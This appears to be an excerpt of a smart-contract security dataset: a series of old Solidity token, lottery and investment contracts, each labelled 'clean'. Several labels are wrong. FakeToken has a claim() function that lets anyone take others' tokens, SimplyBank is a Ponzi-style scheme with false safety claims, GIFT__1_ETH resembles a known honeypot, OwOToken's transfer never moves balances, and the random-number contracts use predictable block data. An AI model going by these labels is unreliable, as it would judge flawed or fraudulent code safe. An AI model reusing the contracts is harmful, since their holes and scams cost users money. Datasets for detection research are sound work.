Adson59/smartmaldb huggingface dataset:
// Vulnerability label: clean
pragma solidity ^0.4.24;

contract FakeToken {
    string constant public name = "FakeToken";
    string constant public symbol = "FTKN";
    uint8 constant public decimals = 0;
    
    mapping (address => uint256) public balanceOf;
    
    event Transfer(address from, address to, uint256 value);
    
    constructor() public {
        balanceOf[msg.sender] = 1000;
    }
    
    function transfer(address _to, uint256 _value) public {
        _transfer(msg.sender, _to, _value);
    }
    
    // WTF method!!!
    function claim(address _from, uint256 _value) public {
        _transfer(_from, msg.sender, _value);
    }
    
    function _transfer(address _from, address _to, uint256 _value) internal {
        require(balanceOf[_from] >= _value, "Not enought balance");
        require(balanceOf[_to] + _value >= _value, "Overflow protection");
        
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.25;

//  SIMPLY BANK - Interest 1% Dayly !
//
//  Improved, no bugs and backdoors! Your investments are safe!
//
//  NO DEPOSIT FEES! All the money go to contract!
//
//  WITHDRAWAL FEES! Technical Support -10% only from The RETURNED DEPOSIT !!
//
//  LOW RISK! You can take your deposit back ANY TIME!
//
//     - Send 0.00000112 ETH to contract address (You will charged 10% for Tech Support)
//
//  LONG LIFE!
//
//  INSTRUCTIONS:
//
//  TO INVEST: send ETH to contract address
//  TO WITHDRAW INTEREST: send 0 ETH to contract address
//  TO REINVEST AND WITHDRAW INTEREST: send ETH to contract address
//  TO GET BACK YOUR DEPOSIT: send 0.00000112 ETH to contract address
//

contract SimplyBank {

    mapping (address => uint256) dates;
    mapping (address => uint256) invests;
    address constant private TECH_SUPPORT = 0x85889bBece41bf106675A9ae3b70Ee78D86C1649;

    function() external payable {
         address sender = msg.sender;
         if (invests[sender] == 0.00000112 ether) {
         
         //Calculate of Tech Support fees from your deposit.
         uint256 techSupportPercent = invests[sender] * 10 / 100;
         //Pay 10% for Tech Support
         TECH_SUPPORT.transfer(techSupportPercent);
         //Available deposit to withdrawal
         uint256 withdrawalAmount = invests[sender] - techSupportPercent;

        //Pay the rest of deposit 
        sender.transfer(withdrawalAmount);
        
        //Delete your information from the Simply Bank
        dates[sender]    = 0;
        invests[sender]  = 0;

        } else {
       
        if (invests[sender] != 0) {
            //Calculate your daily interest
            uint256 payout = invests[sender] / 100 * (now - dates[sender]) / 1 days;
            
            // If your deposit greater than balance.You will get the balance amount.
            if (payout > address(this).balance) {
                payout = address(this).balance;
            }
            //Pay your daily interest.
            sender.transfer(payout);
         }
        dates[sender]    = now;
        invests[sender] += msg.value;
         }
       }

    }
// Vulnerability label: clean
pragma solidity ^0.4.19;

contract BaseToken {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        Transfer(_from, _to, _value);
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }
}

contract CustomToken is BaseToken {
    function CustomToken() public {
        totalSupply = 201900000000000000000000000;
            name = 'ZW';
        symbol = 'ZW';
        decimals = 18;
        balanceOf[0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530] = totalSupply;
        Transfer(address(0), 0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530, totalSupply);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.0;
contract Token23 {
    /* Public variables of the token */
    string public standard = 'Token 0.1';
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public initialSupply;
    uint256 public totalSupply;

    /* This creates an array with all balances */
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

  
    /* Initializes contract with initial supply tokens to the creator of the contract */
    function Token23() {

         initialSupply = 100000000;
         name ="Liberty";
        decimals = 3;
         symbol = "^";
        
        balanceOf[msg.sender] = initialSupply;              // Give the creator all initial tokens
        totalSupply = initialSupply;                        // Update total supply
                                   
    }

    /* Send coins */
    function transfer(address _to, uint256 _value) {
        if (balanceOf[msg.sender] < _value) throw;           // Check if the sender has enough
        if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
        balanceOf[msg.sender] -= _value;                     // Subtract from the sender
        balanceOf[_to] += _value;                            // Add the same to the recipient
      
    }

   

    

   

    /* This unnamed function is called whenever someone tries to send ether to it */
    function () {
        throw;     // Prevents accidental sending of ether
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.11;


contract VCCoin  {
    function balanceOf(address _owner) constant returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
      return allowed[_owner][_spender];
    }

    mapping(address => uint256) balances;

    mapping (address => mapping (address => uint256)) allowed;

    string public name = "VC Coin";
    string public symbol = "VCC";
    uint public decimals = 18;


    // Initial founder address (set in constructor)
    // All deposited ETH will be instantly forwarded to this address.
    address public founder = 0x0;

    uint256 public totalSupply = 5625000 * 10**decimals;

    event AllocateFounderTokens(address indexed sender);
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    //constructor
    function VCCoin(address founderInput) {
        founder = founderInput;
        balances[founder] = totalSupply;
    }



    function transfer(address _to, uint256 _value) returns (bool success) {

        //Default assumes totalSupply can't be over max (2^256 - 1).
        //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
        //Replace the if with this one instead.
        if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
            balances[msg.sender] -= _value;
            balances[_to] += _value;
            Transfer(msg.sender, _to, _value);
            return true;
        } else { return false; }

    }

    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        if (msg.sender != founder) revert();

        //same as above. Replace this line with the following if you want to protect against wrapping uints.
        if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
            balances[_to] += _value;
            balances[_from] -= _value;
            allowed[_from][msg.sender] -= _value;
            Transfer(_from, _to, _value);
            return true;
        } else { return false; }
    }

    function() {
        revert();
    }

    // only owner can kill
    function kill() { 
        if (msg.sender == founder) suicide(founder); 
    }

}
// Vulnerability label: clean
pragma solidity ^0.4.16;
contract Fund{

    uint256 constant private MAX_UINT256 = 2**256 - 1;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;
    /*
    NOTE:
    The following variables are OPTIONAL vanities. One does not have to include them.
    They allow one to customise the token contract & in no way influences the core functionality.
    Some wallets/interfaces might not even bother to look at this information.
    */
    uint256 public totalSupply;
    string public name;                   //fancy name: eg Simon Bucks
    uint8 public decimals;                //How many decimals to show.
    string public symbol;                 //An identifier: eg SBX
     event Transfer(address indexed _from, address indexed _to, uint256 _value); 
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
   
    function Fund() public {
        balances[msg.sender] = 1000000000000;               // Give the creator all initial tokens
        totalSupply = 1000000000000;                        // Update total supply
        name = "Fund token";                                   // Set the name for display purposes
        decimals =4;                            // Amount of decimals for display purposes
        symbol = "Fund";                               // Set the symbol for display purposes
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        uint256 allowance = allowed[_from][msg.sender];
        require(balances[_from] >= _value && allowance >= _value);
        balances[_to] += _value;
        balances[_from] -= _value;
        if (allowance < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        Transfer(_from, _to, _value);
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }   
}
// Vulnerability label: clean
pragma solidity ^0.4.19;

contract GIFT__1_ETH
{
    bool passHasBeenSet = false;
    
    address sender;
    
    bytes32 public hashPass;
	
	function() public payable{}
    
    function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);}
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 )
        {
            hashPass = hash;
            sender = msg.sender;
        }
    }
    
    function GetGift(bytes pass)
    external
    payable
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function Revoce()
    public
    payable
    {
        if(msg.sender==sender)
        {
            sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(msg.sender==sender&&hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.11; 



contract Zerk {
    
    uint public constant _totalSupply = 20000000;
    
    string public constant symbol ="ZRK";
    string public constant name ="Zerk";
    uint8 public constant decimals =0;
    
        
    mapping(address => uint256) balances;
    mapping(address => mapping(address => uint256)) allowed;
    
    
        
        
    function Zerk() {
        balances[msg.sender] = _totalSupply;
    }
    function totalSupply() constant returns (uint256 totalSupply) {
        return _totalSupply;
    }
    
    function balanceOf(address _owner) constant returns (uint256 balance) {
        return balances[_owner];
        
        
    }
    
    function transfer(address _to, uint256 _value) returns (bool success) {
        require(
            balances[msg.sender] >= _value
            && _value > 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to,  _value);
        return true;
        
        }

    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        require (
             allowed[_from][msg.sender] >= _value
             && balances [_from] >= _value
             && _value >0
             );
             balances[_from] -= _value;
             balances[_to] += _value;
             allowed[_from][msg.sender] -= _value;
             Transfer(_from, _to, _value);
             return true;
             
    }
    function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }
    function allowance(address _owner, address _spender) constant returns (uint256 remaining)
{
    return allowed[_owner][_spender];
    
}    
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    
}

interface IERC20 {
    function totalSupply() constant returns (uint256 totalSupply);
    function balanceOf(address _owner) constant returns (uint256 balance);
    function transfer(address _to, uint256 _value) returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
    function approve(address _spender, uint256 _value) returns (bool success);
    function allowance(address _owner, address _spender) constant returns (uint256 remaining);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// Vulnerability label: clean
pragma solidity ^0.4.11;

library SafeMath {
  function mul(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract OwOToken {

    using SafeMath for uint256;

    string public constant symbol = "OWO";
    string public constant name = "OwO.World Token";
    uint public constant decimals = 18;
    address public _multiSigWallet;  // The address to hold the funds donated
    address public owner;
    uint public totalSupply;
    
    /* This creates an array with all balances */
    mapping (address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) allowed;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    // Crowdsale end time has been changed
    event EndsAtChanged(uint endsAt);
    event changed(address a);
    
    function () payable{
        //
    }

    /* Initializes contract with initial supply tokens to the creator of the contract */
    function OwOToken() {
        
        owner = msg.sender;
        totalSupply = 100000000 * 10 ** decimals;
        balanceOf[msg.sender] = totalSupply;              // Give the creator all initial tokens
        _multiSigWallet = 0x6c5140f605a9Add003B3626Aae4f08F41E6c6FfF;

    }

    /* Send coins */
    function transfer(address _to, uint256 _value) returns(bool success){
      require((balanceOf[msg.sender] >= _value) && (balanceOf[_to].add(_value)>balanceOf[_to]));
        balanceOf[msg.sender].sub(_value);                     // Subtract from the sender
        balanceOf[_to].add(_value);                            // Add the same to the recipient
        Transfer(msg.sender, _to, _value);
        return true;

    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

    function setMultiSigWallet(address w) onlyOwner {
        require(w != 0 );

          _multiSigWallet = w;

        changed(msg.sender);
    }
    function getMultiSigWallet() constant returns (address){

        return _multiSigWallet;

    }
    function getMultiSigBalance() constant returns (uint){

        return balanceOf[_multiSigWallet];

    }
    function getTotalSupply() constant returns (uint){

        return totalSupply;

    }
    
    function withdraw() onlyOwner payable{

         assert(_multiSigWallet.send(this.balance));

     }


}
// Vulnerability label: clean
pragma solidity ^0.4.16;
contract UKC{

    uint256 constant private MAX_UINT256 = 2**256 - 1;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;
    /*
    NOTE:
    The following variables are OPTIONAL vanities. One does not have to include them.
    They allow one to customise the token contract & in no way influences the core functionality.
    Some wallets/interfaces might not even bother to look at this information.
    */
    uint256 public totalSupply;
    string public name;                   //fancy name: eg Simon Bucks
    uint8 public decimals;                //How many decimals to show.
    string public symbol;                 //An identifier: eg SBX
     event Transfer(address indexed _from, address indexed _to, uint256 _value); 
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
   
    function UKC() public {
        balances[msg.sender] = 2000000000000;               // Give the creator all initial tokens
        totalSupply = 2000000000000;                        // Update total supply
        name = "UKC";                                   // Set the name for display purposes
        decimals =4;                            // Amount of decimals for display purposes
        symbol = "UKC";                               // Set the symbol for display purposes
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        uint256 allowance = allowed[_from][msg.sender];
        require(balances[_from] >= _value && allowance >= _value);
        balances[_to] += _value;
        balances[_from] -= _value;
        if (allowance < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        Transfer(_from, _to, _value);
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }   
}
// Vulnerability label: clean
pragma solidity ^0.4.19;

contract ERC20Cutted {
    
  function balanceOf(address who) public constant returns (uint256);
  
  function transfer(address to, uint256 value) public returns (bool);
  
}


contract SimpleDistributor {
    
  address public owner;
    
  ERC20Cutted public token = ERC20Cutted(0xE2FB6529EF566a080e6d23dE0bd351311087D567);
    
  function SimpleDistributor() public {
    owner = msg.sender;
  }
   
  function addReceivers(address[] receivers, uint[] balances) public {
    require(msg.sender == owner);
    for(uint i = 0; i < receivers.length; i++) {
      token.transfer(receivers[i], balances[i]);
    }
  } 
  
  function retrieveCurrentTokensToOwner() public {
    retrieveTokens(owner, address(token));
  }

  function retrieveTokens(address to, address anotherToken) public {
    require(msg.sender == owner);
    ERC20Cutted alienToken = ERC20Cutted(anotherToken);
    alienToken.transfer(to, alienToken.balanceOf(this));
  }

}
// Vulnerability label: clean
pragma solidity ^0.4.19;

contract BaseToken {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        Transfer(_from, _to, _value);
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }
}

contract CustomToken is BaseToken {
    function CustomToken() public {
        totalSupply = 600000000000000000000000000;
        name = 'PrajnaParamitaCloud';
        symbol = 'PRMI';
        decimals = 18;
        balanceOf[0x290a76806ec39e731877b8874a32761d60321bcd] = totalSupply;
        Transfer(address(0), 0x290a76806ec39e731877b8874a32761d60321bcd, totalSupply);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

contract hbys{

    mapping(uint=>address) public addr;
    uint public counter;
    uint public bingo;
    address owner;
    
    event Lucknumber(address holder,uint startfrom,uint quantity);
    modifier onlyowner{require(msg.sender == owner);_;}
    
    
    constructor() public{owner = msg.sender;}
    
    
    function() payable public{
        require(msg.value>0 && msg.value<=5*10**18);
        getticket();
    }
    
    
    function getticket() internal{
            //require(msg.sender==tx.origin);
            uint fee;
            fee+=msg.value/10;
	        owner.transfer(fee);
	        fee=0;
	        
	        
	        address _holder=msg.sender;
	        uint _startfrom=counter;
	        
	        uint ticketnum;
            ticketnum=msg.value/(0.1*10**18);
            uint _quantity=ticketnum;
	        counter+=ticketnum;
	        
	        uint8 i=0;
            for (i=0;i<ticketnum;i++){
                	   addr[_startfrom+i]=msg.sender;
                
            }
            emit Lucknumber(_holder,_startfrom,_quantity);
    }
    
    
    
    
/*
work out the target-number:bingo,and sent 2% of cash pool to the lucky guy.

Join the two decimal of Dow Jones index's open price,close price,high price and low price in sequence.
eg. if the open price is 25012.33,the close price is 25103.12,the high price is 25902.26,
and the low price is 25001.49, then dji will be 33122649.
*/
    function share(uint dji) public  onlyowner{
       require(dji>=0 && dji<=99999999);

       bingo=uint(keccak256(abi.encodePacked(dji)))%counter;

       addr[bingo].transfer(address(this).balance/50);
    }
       
}
// Vulnerability label: clean
pragma solidity 0.4.18;

library SafeMath {
    function mul(uint256 a, uint256 b) internal constant returns (uint256) {
        uint256 c = a * b;
        assert(a == 0 || c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal constant returns (uint256) {
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal constant returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal constant returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract Ownable {
    address public owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function Ownable() public {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) onlyOwner public {
        require(newOwner != address(0));
        OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
}

contract ERC20Interface {
    // Send _value amount of tokens to address _to
    function transfer(address _to, uint256 _value) returns (bool success);
    // Get the account balance of another account with address _owner
    function balanceOf(address _owner) constant returns (uint256 balance);
}

contract MonLockupTeam is Ownable {
    using SafeMath for uint256;
    ERC20Interface token;

    address public constant tokenAddress = 0x6242a2762F5a4DB46ef8132398CB6391519aBe21;
    address public wallet_A = 0xC7bac67FbE48a8e1A0d37e6d6F0d3e34582be40f;
    address public wallet_B = 0x2061cAC4460A3DE836728487e4A092b811b2fdA7;
    address public wallet_C = 0x60aF1A04244868abc812a8C854a62598E7f43Fcd;
    uint256 public lockupDate = 1557360000;
    uint256 public initLockupAmt = 150000000e18;

    function MonLockupTeam () public {
        token = ERC20Interface(tokenAddress);
    }

    function setLockupAmt(uint256 _amt) public onlyOwner {
        initLockupAmt = _amt;
    }

    function setLockupDate(uint _date) public onlyOwner {
        lockupDate = _date;
    }

    function setWallet(address[] _dest) public onlyOwner {
        wallet_A = _dest[0];
        wallet_B = _dest[1];
        wallet_C = _dest[2];
    }

    function withdraw() public {
        uint256 currBalance = token.balanceOf(this);
        uint256 currLocking = getCurrLocking();

        require(currBalance > currLocking);
        uint256 available = currBalance.sub(currLocking);

        token.transfer(wallet_A, available.mul(60).div(100));
        token.transfer(wallet_B, available.mul(30).div(100));
        token.transfer(wallet_C, available.mul(10).div(100));
    }

    function getCurrLocking()
        public
		view
        returns (uint256)
	{
        uint256 diff = (now - lockupDate) / 2592000; // month diff
        uint256 partition = 30;

        if (diff >= partition) 
            return 0;
        else
            return initLockupAmt.mul(partition-diff).div(partition);
    }

    function close() public onlyOwner {
        selfdestruct(owner);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.4;

contract Random {
  uint64 _seed = 0;

  // return a pseudo random number between lower and upper bounds
  // given the number of previous blocks it should hash.
  function random(uint64 upper) public returns (uint64 randomNumber) {
    _seed = uint64(sha3(sha3(block.blockhash(block.number), _seed), now));
    return _seed % upper;
  }
}
// Vulnerability label: clean
contract BOXICOIN {
    /* Public variables of the token */
    string public standard = 'Token 0.1';
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public initialSupply;
    uint256 public totalSupply;

    /* This creates an array with all balances */
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

  
    /* Initializes contract with initial supply tokens to the creator of the contract */
    function BOXICOIN() {

         initialSupply = 10000000000;
        name ="BOXICOIN";
        decimals = 2;
        symbol = "BXC";
        
        balanceOf[msg.sender] = initialSupply;              // Give the creator all initial tokens
        totalSupply = initialSupply;                        // Update total supply
                                   
    }

    /* Send coins */
    function transfer(address _to, uint256 _value) {
        if (balanceOf[msg.sender] < _value) throw;           // Check if the sender has enough
        if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
        balanceOf[msg.sender] -= _value;                     // Subtract from the sender
        balanceOf[_to] += _value;                            // Add the same to the recipient
      
    }

    /* This unnamed function is called whenever someone tries to send ether to it */
    function () {
        throw;     // Prevents accidental sending of ether
    }
}
// Vulnerability label: clean
pragma solidity ^ 0.4.11;


contract Dragon {
    function transfer( address _to, uint256 _amount );
}


contract DragonDistributions {
    

    address public dragon;
    uint256 public clock;
    mapping ( address => uint256 ) public  balanceOf;
    mapping ( address => bool ) public  distributionOne;
    mapping ( address => bool ) public  distributionTwo;
    mapping ( address => bool ) public  distributionThree;
    mapping ( address => bool ) public  advisors;
   
    
    
    
    modifier onlyDragon() {
        if (msg.sender != dragon) {
            throw;
        }
        _;
    }
    
    function DragonDistributions () {
        
        dragon = 0x1d1CF6cD3fE91fe4d1533BA3E0b7758DFb59aa1f;
        clock = now;
        
        balanceOf[ 0xdFCf69C8FeD25F5150Db719BAd4EfAb64F628d31 ] = 45000000000000;
        balanceOf[ 0x74Fc8fA4F99b6c19C250E4Fc6952051a95F6060D ] = 45000000000000;
        balanceOf[ 0xCC3c6A89B5b8a054f21bCEff58B6429447cd8e5E ] = 45000000000000;
        
        advisors [ 0xdFCf69C8FeD25F5150Db719BAd4EfAb64F628d31 ] = true;
        advisors [ 0x74Fc8fA4F99b6c19C250E4Fc6952051a95F6060D ] = true;
        advisors [ 0xCC3c6A89B5b8a054f21bCEff58B6429447cd8e5E ] = true;
        
        
        
    }



    function withdrawDragons()
    {
        uint256 total = 0;
        
        require ( advisors[msg.sender] == true );
        
        Dragon drg = Dragon ( dragon );
        
        if ( distributionOne[ msg.sender ] == false ){
            distributionOne[ msg.sender ] = true;
            total += 15000000000000;
            balanceOf[ msg.sender ] -= 15000000000000; 
            
        }
        
        if ( distributionTwo[ msg.sender ] == false && now > clock + 80 days ){
            
            
            distributionTwo[ msg.sender ] = true;
            total += 15000000000000;
            balanceOf[ msg.sender ] -= 15000000000000; 
            
        }
        
        if ( distributionThree[ msg.sender ] == false && now > clock + 445 days ){
            distributionThree[ msg.sender ] = true;
            total += 15000000000000;
            balanceOf[ msg.sender ] -= 15000000000000; 
            
        }
        
        
        
        
        drg.transfer ( msg.sender, total);
    } 
 
    
    
}
// Vulnerability label: clean
pragma solidity ^0.4.17;

contract Random {
	uint256 lastTimeBlockNumber;
	event Generate(
		address indexed _fromIndex,
		address _from,
		uint256 maxValue,
		uint256 result
	);	

	function random(uint256 maxValue) public returns (uint256 randomNumber) {
		require(maxValue > 0);
		require(lastTimeBlockNumber != block.number);
		lastTimeBlockNumber = block.number;
		uint256 result = uint256(keccak256(block.blockhash(block.number - 1), block.coinbase, block.difficulty));
		result = result % maxValue + 1;
		Generate(msg.sender,msg.sender, maxValue, result);
		return result;
	}
}
// Vulnerability label: clean
pragma solidity ^0.4.0;

contract AbstractENS {
    function owner(bytes32 node) constant returns(address);
    function resolver(bytes32 node) constant returns(address);
    function ttl(bytes32 node) constant returns(uint64);
    function setOwner(bytes32 node, address owner);
    function setSubnodeOwner(bytes32 node, bytes32 label, address owner);
    function setResolver(bytes32 node, address resolver);
    function setTTL(bytes32 node, uint64 ttl);

    event Transfer(bytes32 indexed node, address owner);
    event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
    event NewResolver(bytes32 indexed node, address resolver);
    event NewTTL(bytes32 indexed node, uint64 ttl);
}

contract ReverseRegistrar {
    AbstractENS public ens;
    bytes32 public rootNode;
    
    /**
     * @dev Constructor
     * @param ensAddr The address of the ENS registry.
     * @param node The node hash that this registrar governs.
     */
    function ReverseRegistrar(address ensAddr, bytes32 node) {
        ens = AbstractENS(ensAddr);
        rootNode = node;
    }

    /**
     * @dev Transfers ownership of the reverse ENS record associated with the
     *      calling account.
     * @param owner The address to set as the owner of the reverse record in ENS.
     * @return The ENS node hash of the reverse record.
     */
    function claim(address owner) returns (bytes32 node) {
        var label = sha3HexAddress(msg.sender);
        ens.setSubnodeOwner(rootNode, label, owner);
        return sha3(rootNode, label);
    }

    /**
     * @dev Returns the node hash for a given account's reverse records.
     * @param addr The address to hash
     * @return The ENS node hash.
     */
    function node(address addr) constant returns (bytes32 ret) {
        return sha3(rootNode, sha3HexAddress(addr));
    }

    /**
     * @dev An optimised function to compute the sha3 of the lower-case
     *      hexadecimal representation of an Ethereum address.
     * @param addr The address to hash
     * @return The SHA3 hash of the lower-case hexadecimal encoding of the
     *         input address.
     */
    function sha3HexAddress(address addr) private returns (bytes32 ret) {
        assembly {
            let lookup := 0x3031323334353637383961626364656600000000000000000000000000000000
            let i := 40
        loop:
            i := sub(i, 1)
            mstore8(i, byte(and(addr, 0xf), lookup))
            addr := div(addr, 0x10)
            i := sub(i, 1)
            mstore8(i, byte(and(addr, 0xf), lookup))
            addr := div(addr, 0x10)
            jumpi(loop, i)
            ret := sha3(0, 40)
        }
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.23;

contract Migrations {
  address public owner;
  uint public last_completed_migration;

  modifier restricted() {
    if (msg.sender == owner) _;
  }

  function Migrations() public {
    owner = msg.sender;
  }

  function setCompleted(uint completed) public restricted {
    last_completed_migration = completed;
  }

  function upgrade(address new_address) public restricted {
    Migrations upgraded = Migrations(new_address);
    upgraded.setCompleted(last_completed_migration);
  }
}
// Vulnerability label: clean
pragma solidity 		^0.4.21	;						
									
contract	VOC_ethchf_393477_20180614				{				
									
	mapping (address => uint256) public balanceOf;								
									
	string	public		name =	"	VOC_ethchf_393477_20180614		"	;
	string	public		symbol =	"	VEC_QII		"	;
	uint8	public		decimals =		18			;
									
	uint256 public totalSupply =		1000000000000000000000000000					;	
									
	event Transfer(address indexed from, address indexed to, uint256 value);								
									
	function SimpleERC20Token() public {								
		balanceOf[msg.sender] = totalSupply;							
		emit Transfer(address(0), msg.sender, totalSupply);							
	}								
									
	function transfer(address to, uint256 value) public returns (bool success) {								
		require(balanceOf[msg.sender] >= value);							
									
		balanceOf[msg.sender] -= value;  // deduct from sender's balance							
		balanceOf[to] += value;          // add to recipient's balance							
		emit Transfer(msg.sender, to, value);							
		return true;							
	}								
									
	event Approval(address indexed owner, address indexed spender, uint256 value);								
									
	mapping(address => mapping(address => uint256)) public allowance;								
									
	function approve(address spender, uint256 value)								
		public							
		returns (bool success)							
	{								
		allowance[msg.sender][spender] = value;							
		emit Approval(msg.sender, spender, value);							
		return true;							
	}								
									
	function transferFrom(address from, address to, uint256 value)								
		public							
		returns (bool success)							
	{								
		require(value <= balanceOf[from]);							
		require(value <= allowance[from][msg.sender]);							
									
		balanceOf[from] -= value;							
		balanceOf[to] += value;							
		allowance[from][msg.sender] -= value;							
		emit Transfer(from, to, value);							
		return true;							
	}								
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

